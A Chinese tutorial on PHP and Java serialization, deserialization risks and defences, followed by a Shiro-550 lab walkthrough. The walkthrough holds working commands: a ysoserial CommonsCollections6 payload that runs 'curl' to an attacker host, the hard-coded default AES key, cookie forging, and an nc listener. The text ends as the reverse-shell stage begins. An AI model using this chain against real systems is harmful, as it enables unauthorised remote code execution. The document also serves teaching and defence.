一、序列化与反序列化的基本概念
序列化(Serialization):将内存中结构化的数据(对象、数组、字典等)转换成一种可存储、可传输的格式(字符串、字节流、二进制流等)的过程
可以通俗理解为 “打包”—— 把内存里零散的对象状态,封装成一个可以保存、发送的完整数据包。
反序列化(Deserialization):序列化的逆过程,把序列化后的数据,重新还原成内存中可直接读写的对象 / 数据结构,相当于 “拆包”,将数据包恢复为程序可直接操作的内存数据。
生活化类比:把拼装好的乐高模型拆成零件、按规则打包进快递盒是序列化;收件人按照说明书把零件重新拼成完整模型,就是反序列化。
二、序列化的核心目的
简单来说,序列化就是把内存中的对象,转换成一种可以存储或传输的格式,为什么要这么做呢?主要有三个关键场景:
持久化:想象一下,我们运行程序时创建了很多重要的对象和数据,如果程序关闭或者电脑断电,内存里的东西就全没了,但序列化可以把这些对象“冻结”起来,变成字节流或文件格式,稳稳地保存到磁盘上,这样下次启动程序,我们就能反序列化,把“冻结”的状态恢复回来,就像存档读档一样,保证了数据的持久性。
网络传输:在分布式系统里,不同服务、不同机器之间需要频繁地交换数据,对象在内存里是给特定语言和程序用的,不能直接通过网络“扔’给另一个程序,序列化就是解决这个问题的桥梁,它把对象转换成通用的、平台无关的格式(比如JSON, Protobuf,宝节流),通过网络(像 RPC调用、Socket 通信)高效地传输,接收方再用反序列化,把它还原成自己能理解的对象。
缓存:为了提高性能,我们经常使用像 Redis 这样的缓存系统,缓存需要快速存取数据,直接把复杂的对象放进缓存效率很低,序列化把对象压缩成紧凑的格式(通常是二进制或字符串),高效地存入缓存系统,当需要时,再从缓存取出反序列化,就能快速得到原始对象,大大减少了数据库访问,提升了响应速度。
三、PHP 序列化与反序列化
PHP 提供了原生的序列化机制,将 PHP 变量(数组、对象等)转换为PHP 专属格式的纯文本字符串,反序列化则将字符串还原为 PHP 变量。
1. 核心函数
a.序列化:serialize(mixed $value): string,接收任意 PHP 变量,返回序列化后的字符串。
作用:将除「资源类型(文件句柄、数据库连接等)」外的所有 PHP 变量,转换为 PHP 专属的结构化纯文本字符串。
特性:
自动递归处理嵌套结构(多维数组、对象内嵌套对象);
静态属性(
static)属于类而非对象,不会被序列化;资源类型序列化后会丢失,反序列化后为
null。
b.反序列化:unserialize(string $str): mixed,接收序列化字符串,返回还原后的 PHP 变量。这是最容易被忽略的细节:PHP 7.0 及以上版本,unserialize 支持第二个参数 $options,核心是 allowed_classes 白名单控制:
示例:
// 最高安全:只解析基础数据,完全禁止对象
$data = unserialize($input, ['allowed_classes' => false]);
// 业务白名单:仅允许 User、Order 两个业务类
$data = unserialize($input, ['allowed_classes' => ['User', 'Order']]);
注意:PHP 5.x 版本不支持第二个参数,无法通过原生函数做类白名单限制,风险更高。
2.序列化格式规则完整详解
a.全类型标记汇总
PHP 序列化字符串采用「类型标记:长度 / 值;」的统一格式,完整类型如下:
b.重点:对象属性的访问权限差异
这是构造反序列化 Payload 最容易踩坑的点:属性的访问修饰符(public/protected/private)不同,序列化后的属性名格式完全不同,且会影响字符串长度计算。
3. 代码实现示例
<?php
class User {
public $name;
public $age;
public function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
}
}
// 1. 序列化对象
$user = new User("Alice", 20);
$serialized_str = serialize($user);
echo $serialized_str;
// 输出:O:4:"User":2:{s:4:"name";s:5:"Alice";s:3:"age";i:20;}
// 2. 反序列化还原对象
$restored_user = unserialize($serialized_str);
echo $restored_user->name; // 输出 Alice
?>这段代码是 PHP 原生序列化与反序列化的基础演示,完整展示了「内存对象 → 可传输 / 存储的字符串 → 还原内存对象」的全过程,下面逐部分拆解逻辑和底层细节。
a.User 类定义
class User {
public $name;
public $age;
public function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
}
}
这是一个普通的 PHP 业务类:
定义了两个公有成员属性
$name(字符串)和$age(整数),用于存储对象状态;__construct是构造方法,在使用new User()创建对象时自动执行,负责给属性赋初始值。
B.序列化过程
// 1. 序列化对象
$user = new User("Alice", 20);
$serialized_str = serialize($user);
echo $serialized_str;
// 输出:O:4:"User":2:{s:4:"name";s:5:"Alice";s:3:"age";i:20;}
执行逻辑
先实例化一个
User对象,name赋值为Alice,age赋值为20;调用 PHP 内置函数
serialize(),将内存中的对象,按照 PHP 专属的序列化协议,转换成一段纯文本字符串;最终输出的字符串,就是这个对象完整状态的「打包结果」,可以存入文件、数据库,或通过网络传输。
反序列化过程:字符串还原为对象
// 2. 反序列化还原对象
$restored_user = unserialize($serialized_str);
echo $restored_user->name; // 输出 Alice执行逻辑
调用 PHP 内置函数
unserialize(),把序列化字符串作为输入,在内存中重新构建出一个User对象;还原后的对象,所有非特殊标记的属性值,都会和序列化前完全一致;
访问
$restored_user->name得到Alice,验证了对象状态被完整恢复。
底层细节
反序列化不会执行构造方法
__constructPHP 反序列化是通过反射直接在内存中创建对象、填充属性,不会调用构造方法。你可以在构造方法中加入
echo "构造执行";测试,会发现只有new User()时会输出,unserialize()时不会执行。反序列化的前提是类已提前定义
如果执行
unserialize()时,当前代码还没定义User类,还原出的会是一个不完整的__PHP_Incomplete_Class对象,无法正常访问属性、调用方法。不同权限的属性序列化格式不同
示例中都是
public公有属性,格式最简洁;如果是protected或private属性,序列化字符串中会加入不可见的空字符前缀:protected属性:属性名前加\x00*\x00(空字符 + * + 空字符)private属性:属性名前加\x00类名\x00(空字符 + 类名 + 空字符)这也是构造反序列化攻击 payload 时,需要精确匹配的细节。
安全提示
PHP 反序列化是高危 Web 漏洞类型:如果 unserialize() 的输入由用户可控,攻击者可以构造恶意序列化字符串,触发对象的魔术方法(如 __wakeup()、__destruct()),进而实现任意代码执行、文件读写等攻击。
四、Java 序列化与反序列化
Java 原生序列化是将 Java 对象转换成二进制字节流,可写入文件、网络流中持久化或传输;反序列化则将字节流恢复为内存中的 Java 对象。
1. 核心机制
可序列化的类必须实现
java.io.Serializable接口:这是一个标记接口,它是Java内置在Java点IO的标记接口,它其实就是一个空接口,没有任何抽象方法,仅用于标识该类允许被序列化,唯一作用就是向JVM打招呼。核心操作类:
序列化:
ObjectOutputStream类的writeObject(Object obj)方法反序列化:
ObjectInputStream类的readObject()方法
2. 关键特性
为类添加
serialVersionUID:序列化版本号,用于验证序列化和反序列化的类版本是否一致;版本不匹配会抛出InvalidClassException。
有人会疑惑会不会这样,如果多个对象
serialVersionUID重复,比如都设置成同一个数值,会不会影响序列化和反序列化呢?其实不会
这个
serialVersionUID是针对每一个类单独起作用的,它并不是JVM全局范围内的唯一,而是类内唯一的标识,只要在同一个类里没有重复这种,那就没问题。举个例子:
com.example.User和com.example.Order两个类都手动设置serialVersionUID = 1L,完全不会有任何问题 —— 反序列化时是先定位类,再校验该类自己的 UID,不同类之间的 UID 相互独立。
如果不手动声明
serialVersionUID,Java 编译器会根据类名、字段、方法、继承关系等结构信息,自动计算一个哈希值作为默认 UID,类结构只要有改动(比如新增一个字段、修改方法参数),默认 UID 就会变化,导致旧数据反序列化失败。手动指定固定 UID 的核心意义是兼容版本迭代:比如给业务类新增一个非必填字段,只要 UID 不变,旧版本序列化的数据依然能被新版本反序列化(新增字段会被自动赋类型默认值)。
从反序列化安全角度补充:攻击者构造利用链 payload 时,不需要关心目标类的 UID 是否唯一,只要按照目标服务的类版本生成对应 UID 即可,UID 本身不会成为漏洞利用的阻碍。
transient基础特性
被 transient 修饰的成员变量,不参与 Java 原生序列化流程:
a. 序列化时,字节流中不会保存该字段的数值;
b. 反序列化时,该字段会被直接赋值为对应数据类型的默认值(引用类型为 null、int 为 0、boolean 为 false 等)。
容易忽略的细节
a. 仅对原生序列化生效:transient 只作用于 ObjectOutputStream / ObjectInputStream 这套原生机制。Jackson、Fastjson、Protobuf 等第三方序列化框架不受 transient 控制,它们有独立的字段忽略注解(如 @JsonIgnore)。
b. 反序列化不执行构造方法:Java 反序列化默认通过反射直接恢复字段,不会调用类的构造方法。因此哪怕你在构造方法中给 transient 字段赋了初始值,反序列化后也不会生效,依然是默认值。
c. 可手动突破限制:通过重写类的 writeObject() / readObject() 自定义序列化逻辑,可以手动将 transient 字段写入 / 读出字节流。这既是业务兼容的手段,也是部分反序列化利用链的触发入口。
静态变量(
static修饰)
基础特性
静态变量属于「类本身」,不属于某个对象实例;而序列化的本质是保存「对象的实例状态」,因此静态变量永远不会被写入序列化的字节流。
最常见的认知坑
很多人在同一个 JVM 里做 “序列化 -> 反序列化” 测试时,会误以为静态变量被 “保存” 了 —— 这是一种错觉:
本质是同一个 JVM 中类没有被卸载,静态变量一直存储在方法区中,数值本身就没变化;
如果跨进程、跨机器反序列化,静态变量的值就是目标 JVM 中该类的当前值,和序列化时的数值完全无关。
补充:
transient无法修饰静态变量,也没必要修饰 —— 静态变量本来就不参与序列化。
3. 代码实现示例
import java.io.*;
// 实现Serializable接口,标记该类可序列化
class User implements Serializable {
// 手动指定序列化版本号
private static final long serialVersionUID = 1L;
public String name;
public int age;
// transient修饰,该属性不参与序列化
transient public String password;
public User(String name, int age, String password) {
this.name = name;
this.age = age;
this.password = password;
}
}
public class SerializeDemo {
public static void main(String[] args) {
// 序列化:将对象写入文件
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.dat"))) {
User user = new User("Bob", 25, "123456");
oos.writeObject(user);
System.out.println("序列化完成");
} catch (IOException e) {
e.printStackTrace();
}
// 反序列化:从文件还原对象
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("user.dat"))) {
User restoredUser = (User) ois.readObject();
System.out.println(restoredUser.name); // 输出 Bob
System.out.println(restoredUser.age); // 输出 25
System.out.println(restoredUser.password); // 输出 null(transient不序列化)
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}4.针对以上文本拆分讲解
这是一段Java 原生序列化与反序列化的最小演示代码:
定义一个实现了
Serializable接口的User类,标记该类对象可被序列化;在主方法中,创建一个
User对象,通过ObjectOutputStream将其序列化并写入本地文件user.dat;再通过
ObjectInputStream从文件中读取字节流,反序列化还原为User对象;打印对象的三个属性,验证
transient关键字的效果。
A、User 类:序列化核心配置解析
class User implements Serializable {
private static final long serialVersionUID = 1L;
public String name;
public int age;
transient public String password;
public User(String name, int age, String password) {
this.name = name;
this.age = age;
this.password = password;
}
}1. implements Serializable
Serializable 是 Java 中的标记接口,接口内部没有任何需要实现的抽象方法。
作用:告诉 JVM,这个类的对象允许被序列化 / 反序列化;
强制规则:如果一个类没有实现
Serializable,直接调用writeObject()序列化该类对象时,会直接抛出java.io.NotSerializableException;继承特性:如果父类实现了
Serializable,子类默认也具备序列化能力,无需重复实现。
2. private static final long serialVersionUID = 1L;
这是手动指定的序列化版本号,是 Java 序列化兼容控制的核心。
本质:它是类的「元数据标识」,属于类级别常量,不会被序列化到字节流中(静态变量本身不参与序列化);
校验逻辑:序列化时,字节流里会记录该类的全限定名 + 对应的 UID;反序列化时,JVM 会用本地类的 UID 和字节流里的 UID 做比对,不一致就抛出
InvalidClassException;手动指定的意义:如果不写这行,编译器会根据类的字段、方法、继承关系自动计算一个 UID;后续只要类结构有改动(加字段、改方法),自动 UID 就会变化,导致旧的序列化数据全部无法反序列化。手动写死
1L可以保证版本兼容。补充:不同类写相同的
serialVersionUID完全不冲突,因为校验前会先通过「全限定类名」定位到具体的类。
3. 成员变量与 transient 关键字
name(String)、age(int):普通成员变量,默认参与序列化,对象的数值会被完整写入字节流,反序列化时可以完整还原。transient public String password;:transient关键字的作用:标记该字段不参与原生序列化流程;效果:序列化时,字节流中不会保存
password的值;反序列化时,该字段会被直接赋予对应数据类型的默认值 —— 引用类型String的默认值为null,这也是代码最后打印password输出null的原因。
4. 构造方法
public User(String name, int age, String password) {
this.name = name;
this.age = age;
this.password = password;
}仅用于手动创建对象时初始化属性。这里有一个非常关键的底层细节:
Java 反序列化默认不会调用类的构造方法,而是通过反射直接在内存中构建对象、再填充字段值。
你可以在构造方法里加一句
System.out.println("构造方法执行了");,会发现序列化时构造方法执行 1 次,反序列化时不会执行。
B、序列化流程:对象 -> 文件
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.dat"))) {
User user = new User("Bob", 25, "123456");
oos.writeObject(user);
System.out.println("序列化完成");
} catch (IOException e) {
e.printStackTrace();
}逐行解释
try-with-resources语法括号里创建的流对象会在代码块执行结束后自动关闭(实现了
AutoCloseable接口),替代了传统的try-catch-finally手动关流写法,避免资源泄漏。FileOutputStream("user.dat")文件字节输出流,作用是建立程序到本地文件
user.dat的字节通道,最终把字节写入当前项目目录下的该文件。ObjectOutputStream对象输出流,属于「处理流」,用来包装底层的字节输出流,它提供了核心的序列化方法
writeObject()。它会把内存中的 Java 对象,按照 Java 序列化协议转换成二进制字节流;
生成的
user.dat是二进制文件,文件开头固定为 Java 序列化魔数AC ED 00 05,这也是识别 Java 序列化数据的标志。
oos.writeObject(user)序列化的核心执行方法:
递归遍历对象的所有非静态、非
transient修饰的成员变量,依次写入字节流;如果成员变量是引用类型(比如另一个对象),会继续序列化该引用对象(该对象也必须实现
Serializable)。
异常捕获
IOException序列化过程中文件写入失败、对象不可序列化、IO 流异常等,都会抛出
IOException及其子类异常。
C、反序列化流程:文件 -> 对象
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("user.dat"))) {
User restoredUser = (User) ois.readObject();
System.out.println(restoredUser.name); // 输出 Bob
System.out.println(restoredUser.age); // 输出 25
System.out.println(restoredUser.password); // 输出 null
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}逐行解释
FileInputStream("user.dat")文件字节输入流,从本地
user.dat文件中读取二进制字节数据。ObjectInputStream对象输入流,包装字节输入流,提供核心的反序列化方法
readObject()。User restoredUser = (User) ois.readObject();反序列化的核心执行方法:
从字节流中读取类名、
serialVersionUID、字段数据;先校验类是否存在、UID 是否匹配;校验通过后,通过反射在内存中创建对象,把字段值填充进去;
返回值类型是
Object,因此需要强转为User类型。
打印结果验证
restoredUser.name→Bob:普通字段完整还原;restoredUser.age→25:普通字段完整还原;restoredUser.password→null:transient字段未被序列化,反序列化后为类型默认值。
异常捕获
IOException:文件读取失败、字节流损坏、IO 异常;ClassNotFoundException:当前 JVM 中找不到字节流对应的类(比如跨机器传输时,对方没有这个类)。
5.视频详解:视频来自B站博主
安全提示
Java 反序列化是经典的高危漏洞:当 readObject() 读取恶意构造的字节流时,会触发类的 readObject() 逻辑,结合 Commons-Collections、Jackson 等第三方库的利用链,可直接实现远程代码执行(RCE)。
五、序列化与反序列化的常见实现方案
除了编程语言自带的原生序列化,工业界还有大量通用序列化方案,按格式分为两类:
文本类
JSON:最通用的跨语言序列化格式,几乎所有语言都支持,是前后端交互的主流方案。
XML:传统结构化数据格式,可读性强但体积大,目前已逐步被 JSON 替代。
二进制类(高性能、体积小)
Protobuf:Google 推出的二进制序列化协议,体积小、解析速度快,多用于微服务 RPC 场景。
MessagePack:类 JSON 的二进制格式,比 JSON 体积更小、解析更快。
Kryo/Hessian:Java 生态常用的二进制序列化框架,性能远高于 Java 原生序列化。
反序列化漏洞基础防御方案
反序列化漏洞的根源是用户可控的输入进入了反序列化入口,并利用类的自动执行逻辑触发危险操作。防御遵循「从根源避免 → 代码层限制 → 架构层加固 → 运行时防护」的纵深防御原则,下面分通用原则、PHP 专属、Java 专属、工程化加固四个层面说明。
A、通用核心防御原则(所有语言通用)
杜绝用户可控输入直接进入反序列化入口
这是最根本的防御手段。不要将用户提交的参数、Cookie、前端传值、网络数据包直接作为反序列化函数的输入。反序列化仅用于处理内部可信数据源(如本地配置、服务端内部缓存)。
优先选择无风险的通用序列化格式
优先使用 JSON、Protobuf 等仅描述数据结构的序列化方案,替代语言原生的对象序列化机制。这类格式仅还原数据(数组、普通键值对),不会自动加载类、执行类方法,天然不存在原生反序列化利用链风险。
不在自动触发的方法中编写危险逻辑
避免在反序列化会自动调用的方法(如 PHP 的
__destruct/__wakeup、Java 的readObject)中编写文件读写、命令执行、数据库操作、网络请求等逻辑,从源头切断利用链的执行点。遵循最小权限原则
运行业务的进程(如 PHP-FPM、Java 服务)使用低权限账号启动,限制系统调用、文件读写范围,即使反序列化被攻破,也能限制攻击的影响范围,避免直接提权。
B、PHP 反序列化专属防御措施
强制使用白名单限制可反序列化的类
PHP 7.0 及以上版本中,unserialize() 支持第二个参数 allowed_classes,可以严格限制允许被还原的类:
设置为
false:完全禁止反序列化对象,仅允许还原标量、数组,安全性最高。设置为类名数组:仅白名单内的类可以被反序列化,其他类会被标记为不完整类,无法触发魔术方法。
示例:
// 仅允许 User、Order 两个类被反序列化
$data = unserialize($input, ['allowed_classes' => ['User', 'Order']]);
// 完全禁止对象反序列化,只解析基础数据
$data = unserialize($input, ['allowed_classes' => false]);替换原生序列化方案
对外交互的场景全部改用
json_encode()/json_decode()处理数据,避免使用serialize/unserialize处理外部输入。对序列化数据加签名校验
如果业务必须将序列化数据存储在前端 / Cookie 中,需要对序列化后的字符串进行 HMAC 签名校验,反序列化前先验证签名,确保数据未被用户篡改。
及时升级 PHP 版本
新版本 PHP 会修复内置类的反序列化利用链,封堵原生的攻击向量。
C、Java 反序列化专属防御措施
避免使用 Java 原生序列化机制
对外交互、跨服务调用优先使用 JSON、Protobuf 等序列化协议,禁止直接使用
ObjectInputStream处理外部传入的字节流。注意:使用 JSON 框架时必须关闭自动类型推导(如 Jackson 的
enableDefaultTyping、Fastjson 的 AutoType),否则依然存在反序列化漏洞风险。
实现反序列化类白名单校验
自定义 ObjectInputStream 子类,重写 resolveClass() 方法,对反序列化的类名进行白名单校验,仅允许业务指定的类被加载,拦截未知的危险类。
简化示例:
public class SafeObjectInputStream extends ObjectInputStream {
private static final Set<String> ALLOWED_CLASSES = Set.of("com.example.User", "com.example.Order");
public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!ALLOWED_CLASSES.contains(desc.getName())) {
throw new InvalidClassException("非法类,禁止反序列化: " + desc.getName());
}
return super.resolveClass(desc);
}
}
清理并升级第三方依赖
及时修复 Commons-Collections、Log4j、Fastjson、Jackson、Hessian 等常见反序列化漏洞重灾区的依赖版本,移除项目中未使用的第三方库,减少可被利用的攻击链。
校验数据完整性
对需要反序列化的字节流添加签名(如 HMAC-SHA256),反序列化前先验证签名合法性,拒绝被篡改的数据源。
配置 JVM 安全限制
通过 JVM 参数禁用危险类的序列化、限制反射权限,或使用 RASP 组件在运行时拦截危险的反序列化调用。
D、工程化纵深防御
流量层防护
在 WAF/IDS 中添加反序列化攻击特征规则,拦截典型攻击 payload:
PHP:拦截包含
O:、C:等序列化对象标记的恶意参数Java:拦截以魔数
AC ED 00 05开头的恶意字节流请求
代码安全检测
在 CI/CD 流程中集成静态代码扫描(SAST)工具,自动检测
unserialize、readObject等危险函数的调用,排查输入是否可控。运行时防护
部署 RASP(运行时应用自我保护)产品,在程序运行时实时拦截反序列化触发的危险操作(如命令执行、文件读写)。
Apache Shiro-550 反序列化
A、基础框架名词
1. Apache Shiro
定义:Java 生态主流安全框架,负责登录认证、权限控制、会话管理、记住我(RememberMe)。
角色:漏洞载体。
Shiro <1.2.5 版本存在设计缺陷,是本次 Shiro-550(CVE-2016-4437)漏洞的产生源头;它提供 RememberMe 功能,包含AES 加密 + 自动反序列化整条处理逻辑。
2. Spring Boot
定义:新一代 Java Web 快速开发框架,内置 Tomcat,打包为独立jar直接运行。
角色:靶机上层 Web 容器。
本次实验靶机就是 Spring Boot 项目,对外提供 Web 访问入口,接收我们携带恶意 Cookie 的 HTTP 请求;Spring Boot 本身和 Shiro 漏洞无直接关系,只是承载 Shiro 框架运行。
3. SSM(Spring + SpringMVC + MyBatis)
定义:Spring Boot 普及之前经典 Java Web 技术栈,一般外置 Tomcat,打包为 war 部署。
角色:同类竞品技术栈拓展知识。
和 Spring Boot 只是两种项目搭建方式,二者都可以集成 Apache Shiro;意味着新旧 Java 网站都有可能搭载 Shiro,都可能存在 Shiro-550 漏洞。
4. classpath(类路径)
定义:JVM 运行时搜索.class类文件、依赖 jar 包的路径列表。
角色:漏洞利用的前置硬性条件。
Java 执行反序列化readObject()重建对象时,必须在classpath中找到字节流记录的对应类。
关键结论:
就算存在反序列化入口,如果classpath不存在 CommonsCollections 相关类,Gadget 调用链缺失,漏洞无法实现 RCE。
B、核心机制名词
5. RememberMe(记住我)
定义:Shiro 提供的免登录功能。
正常流程:登录成功 → 用户身份对象序列化 → AES 加密 → 存入rememberMeCookie;下次访问携带 Cookie,服务器解密、反序列化恢复用户身份。
角色:漏洞触发入口。
Shiro 依靠 RememberMe Cookie 接收外部可控字节流,是攻击者输入恶意载荷的通道。
6. 序列化 / 反序列化
序列化:内存 Java 对象 → 可传输 / 存储的二进制字节流
writeObject()反序列化:二进制字节流 → 重建 Java 对象
readObject()角色:漏洞核心机制。
危险点:
readObject()重建对象时会自动执行类内置方法;攻击者可控字节流,就能构造调用链,最终执行系统命令。
单纯有序列化不足以形成漏洞,需要同时满足:可控输入 + 无白名单反序列化 + classpath 存在可用 Gadget。
7. CommonsCollections Gadget(CC 利用链)
定义:存在于commons-collections依赖包中的一组 Java 类,类之间天然存在链式调用关系。
角色:漏洞执行命令的 “桥梁”。
反序列化重建对象时,程序自动沿着 Gadget 链条逐层调用方法,最终反射执行Runtime.exec()实现任意系统命令。
没有 CC Gadget,即便能控制反序列化数据,也无法抵达命令执行。
C、攻击工具:ysoserial
8.ysoserial 是什么?
ysoserial 是 Java 反序列化载荷生成工具。
核心职责:在攻击机内存中组装一串「恶意 Java 对象序列化二进制流」。
根据你指定的利用链(如
CommonsCollections6),按固定调用顺序拼接一系列 Java 类对象;在对象链末端嵌入你想要执行的系统命令;
通过
ObjectOutputStream.writeObject()输出二进制序列化数据(文件特征:开头0xac 0xed 00 05)。
在 Shiro-550 整条攻击链路中的定位:
ysoserial = 原材料工厂
产出:原始恶意序列化二进制(
.ser文件)后续 AES 加密、拼接 IV、Base64 制作 Cookie,全部只是包装加工;
如果没有 ysoserial 生成的二进制原始载荷,伪造的 rememberMe Cookie 永远无法触发命令执行。
链路位置:ysoserial 生成载荷 -> AES 加密 -> 构造 Cookie -> 发送至靶机 -> 靶机
readObject()触发 Gadget 执行命令
重点:为什么推荐使用 JDK8 运行 ysoserial?
时间背景:CC Gadget、Shiro-550 漏洞诞生于 JDK8 主流时期,整条调用逻辑高度依赖 JDK8 内部类、反射机制、集合底层实现。
JDK8 特性:无 JPMS 模块化安全限制,允许代码自由反射访问 JDK 内部私有 API,可以稳定生成结构标准、靶机可正常触发的序列化载荷。
JDK9 及以上高版本 Java 变化:
新增模块化机制,默认拦截外部代码反射访问内部类;
底层集合、反射相关源码重构。
后果两种:
① ysoserial 直接运行报错,载荷生成失败;
② 勉强生成二进制,但对象结构不兼容,部署到靶机后 Gadget 链条断裂,命令无法执行。
重要区分(极易混淆)
限制约束对象:运行 ysoserial 的攻击机,不是靶机!
D、完整串联:Shiro-550 整条链路所有组件协作流程
靶机:Spring Boot 项目集成 Apache Shiro <1.2.5,classpath 携带
commons-collections依赖(具备 CC Gadget);攻击端:使用JDK8 + ysoserial,选择 CC6 Gadget,生成携带系统命令的恶意序列化二进制;
攻击者利用 Shiro 源码内置公开默认 AES 密钥,遵循 Shiro 格式:随机 IV + AES 加密恶意二进制,组装成合法
rememberMeCookie;HTTP 请求携带 Cookie 访问靶机 Web 服务(Spring Boot 接收请求,转交 Shiro 处理);
Shiro 逻辑:Cookie Base64 解码 → AES 解密 → 直接调用
readObject()无限制反序列化;JVM 尝试重建恶意对象,在 classpath 找到 CC 相关类,自动走完 Gadget 调用链;
链条终点触发
Runtime.exec(),在靶机执行我们预先写入载荷中的系统命令,实现 RCE。
总的来说Shiro-550 的根因(两个致命设计叠加):
Shiro < 1.2.5 的
rememberMe加密使用一个写死在源码里的默认 AES 密钥kPH+bIxk5D2deZiIxcaaaA==(Base64)。密钥公开 = 加密形同虚设,任何人都能伪造合法的rememberMe。服务器解密后直接
readObject()反序列化,且没有任何类白名单。于是攻击者:用公开密钥加密一段恶意序列化数据 -> 服务器解密还原 -> 触发命令执行。整个过程无需登录,任意请求携带该 Cookie 即被处理。
E、实验步骤-衔接以上内容
阶段一:Shiro指纹探测
1. 操作目的
精准判断靶机是否为Shiro框架、是否开启RememberMe功能。无该特征,后续所有攻击全部无效。
2. 完整执行命令
export TARGET=http://172.16.11.xxx
curl -s -I $TARGET -H "Cookie: rememberMe=1" | grep -i "rememberMe=deleteMe"概念对应
Cookie: rememberMe=1:模拟 RememberMe 通道,发送一段非法数据给 Shiro返回
rememberMe=deleteMe→ 确认靶机启用 Shiro RememberMe 功能
这一步作用验证【漏洞入口是否存在】, 对应理论:确认恶意数据可以通过 RememberMe 通道送入 Shiro。
3. 每一个参数精细化解释
export TARGET=xxx:定义全局变量,把靶机地址存起来,后续所有命令不用重复输入IP,简化操作curl:Linux网络请求工具,用于访问靶机服务-I:只请求HTTP响应头,不加载网页正文,完美规避靶机「网页解析失败」的问题,速度更快-s:静默模式,隐藏curl的连接日志、错误日志,只保留我们需要的核心结果-H "Cookie: rememberMe=1":手动伪造一个非法的RememberMe Cookie,试探Shiro服务特征grep -i:忽略大小写,筛选Shiro专属的响应特征字段
4. 核心判定原理
Shiro框架专属机制:收到无法解密、非法的rememberMe Cookie时,会强制返回响应头:rememberMe=deleteMe,通知浏览器删除无效Cookie。
5. 结果判定标准
终端输出
rememberMe=deleteMe:存在Shiro框架,进入下一阶段终端无任何输出:无Shiro漏洞,直接终止实验
阶段二:外联探测载荷生成
1. 操作目的
生成无害探测Payload,100%验证两大核心条件:
i. Shiro默认密钥有效
iii. 靶机CC6反序列化链可正常执行命令,确认漏洞链路通畅。
2. 完整分步命令
# 1.定义攻击机、靶机变量
KALI=172.16.11.xx
TARGET=http://172.16.11.xxx
# 2.高版本JDK解锁 + 生成CC6探测序列化载荷
java \
--add-opens=jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED \
--add-opens=java.rmi/java.rmi.server=ALL-UNNAMED \
--add-opens=java.rmi/sun.rmi.server=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens=java.base/java.net=ALL-UNNAMED \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.base/sun.reflect.annotation=ALL-UNNAMED \
-jar ~/ysoserial-all.jar CommonsCollections6 "curl $KALI:9999" > /tmp/curl.ser
# 3.Shiro默认密钥:Base64转十六进制(openssl专用格式)
KEY=$(echo -n "kPH+bIxk5D2deZiIxcaaaA==" | base64 -d | xxd -p | tr -d '\n')
# 4.生成AES加密必备16字节随机IV
head -c 16 /dev/urandom > /tmp/iv.bin
IV=$(xxd -p /tmp/iv.bin | tr -d '\n')
# 5.AES-128-CBC加密序列化载荷
openssl enc -aes-128-cbc -K $KEY -iv $IV -in /tmp/curl.ser -out /tmp/enc.bin
# 6.拼接IV+密文,Base64编码生成合法攻击Cookie
TEST_COOKIE=$(cat /tmp/iv.bin /tmp/enc.bin | base64 -w0)
echo "rememberMe=$TEST_COOKIE"1和2 重点关联【JDK8 知识点】
理想情况:用独立攻击机 172.16.11.xxx(JDK8)运行这一行,不需要 --add-opens。
我们的现状:Kali 是高版本 JDK,Java 加了安全围墙,必须加上一长串--add-opens临时拆墙,否则 ysoserial 打印失败。
划重点:
JDK 版本约束只影响这一条 ysoserial 生成载荷的命令,和靶机无关!
原理链路
ysoserial(打印机)+ CC6 机关 → 生成恶意序列化二进制文件 /tmp/curl.ser
3-6 概念对应
kPH+bIxk5D2deZiIxcaaaA==:Shiro 臭名昭著的默认公开 AES 密钥(漏洞根源之一)生成 IV、AES 加密、IV 前置拼接:严格复刻 Shiro RememberMe 原始加密格式
最终产物:一条靶机 “认为是正常用户” 的 rememberMe Cookie
大白话:
ysoserial 只产出 “恶意原材料”;这一堆命令就是给原材料穿上正常 Cookie 的外衣,骗过 Shiro。
3. 逐段精细化原理+避坑说明
(1)JDK解锁+载荷生成段
所有 --add-opens 参数缺一不可,作用是解除高版本Java反射限制,允许ysoserial调用内部类生成CC6利用链,少一个参数都会载荷生成失败。
CommonsCollections6:指定利用链,适配靶机依赖环境;curl $KALI:9999:靶机漏洞触发后,主动访问攻击机9999端口,用于验证命令执行成功。
> /tmp/curl.ser:将生成的二进制序列化文件保存到临时目录,AES加密必须使用原始二进制文件,不能用文本格式。
(2)密钥格式转换段
Shiro默认密钥是Base64格式,但是Linux的openssl加密工具只支持十六进制密钥,必须解码、转格式、删除换行符,格式错误会导致靶机解密失败,直接丢弃Cookie,漏洞无法触发。
(3)随机IV生成段
AES-CBC加密模式强制要求16字节IV向量,Shiro固定加密规则:前16字节IV + 后半部分密文,顺序颠倒、IV长度错误都会解密失败。随机IV可规避设备特征检测。
(4)Cookie生成段
二进制文件无法在HTTP Cookie中传输,因此拼接IV和密文后,整体Base64单行编码,生成Shiro认可的合法Cookie格式。
4. 联动操作
终端1(先执行!):开启9999端口监听
nc -lvnp 9999原理:靶机是主动外联请求,必须先开监听端口,再发送攻击Cookie,否则连接无法建立。
终端2(后执行!):发送恶意Cookie触发漏洞
curl -s -o /dev/null -b "rememberMe=粘贴上面生成的TEST_COOKIE值" $TARGET参数详解:-b 携带自定义Cookie发包;-o /dev/null 丢弃页面报错数据,忽略靶机前端解析失败问题,只触发后端漏洞逻辑。
5. 结果判定

监听终端收到靶机IP请求:密钥有效、CC6链正常、命令可执行,进入反弹Shell阶段
无请求:密钥错误、无CC6依赖、防火墙拦截,终止实验排查问题
阶段三:反弹Shell载荷生成,获取交互式权限(最终攻击)
1. 操作前提
必须完成阶段二探测,确认漏洞链路通畅后再执行本步骤。
2. 精细化命令
# 定义变量
